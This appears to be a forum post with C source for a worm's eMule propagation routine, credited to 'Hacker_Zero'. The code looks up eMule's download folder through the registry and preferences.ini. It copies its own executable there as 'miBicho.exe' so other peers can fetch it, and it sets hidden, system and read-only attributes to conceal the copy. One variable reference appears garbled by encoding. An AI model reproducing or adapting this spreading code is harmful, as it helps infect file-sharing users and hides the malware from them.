Código: Seleccionar todo
////////////////////////////////////////////////////////////////
//Autor: Hacker_Zero
//Web: http://www.eduhack.es
//Descripcion: Función de propagación P2P por eMule
////////////////////////////////////////////////////////////////
void InfectP2P()
{
_CopyMemory miCopyMemory=NULL;
miCopyMemory=(_CopyMemory)GetProcAddress(GetModuleHandle("KERNEL32.DLL"),"RtlMoveMemory");
//Obtenemos nuestra ruta
LPSTR AppName=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
GetModuleFileName(0,AppName,MAX_PATH);
DWORD dwBytes;
HKEY hReg;
DWORD regLenght=MAX_PATH*2;
PPERF_DATA_BLOCK regValue =(PPERF_DATA_BLOCK)GlobalAlloc(GPTR,regLenght);
//Comprobamos si está instalado emule
if(RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\eMule",0,KEY_READ,&hReg)==ERROR_SUCCESS)
{
//Obtenemos el valor de la ruta de instalación de emule
RegQueryValueEx(hReg,"Install Path",0,0,(LPBYTE)regValue,®Lenght);
RegCloseKey(hReg);
LPSTR EmulePath=(LPSTR)regValue;
lstrcat(EmulePath,"\\config\\preferences.ini");
//Obtenemos la carpeta de descargas de emule del .ini
LPSTR EmuleDownloadPath=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
GetPrivateProfileString("eMule","IncomingDir",0,EmuleDownloadPath,MAX_PATH,EmulePath);
lstrcat(EmuleDownloadPath,"\\miBicho.exe");
//Nos copiamos al path
CopyFileA(AppName,EmuleDownloadPath,TRUE);
//Ponemos atributos de oculto, de sistema y de sólo lectura al worm
SetFileAttributesA(EmuleDownloadPath,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_READONLY);
GlobalFree(EmuleDownloadPath);
GlobalFree(EmulePath);
}
GlobalFree(AppName);
GlobalFree(regValue);
}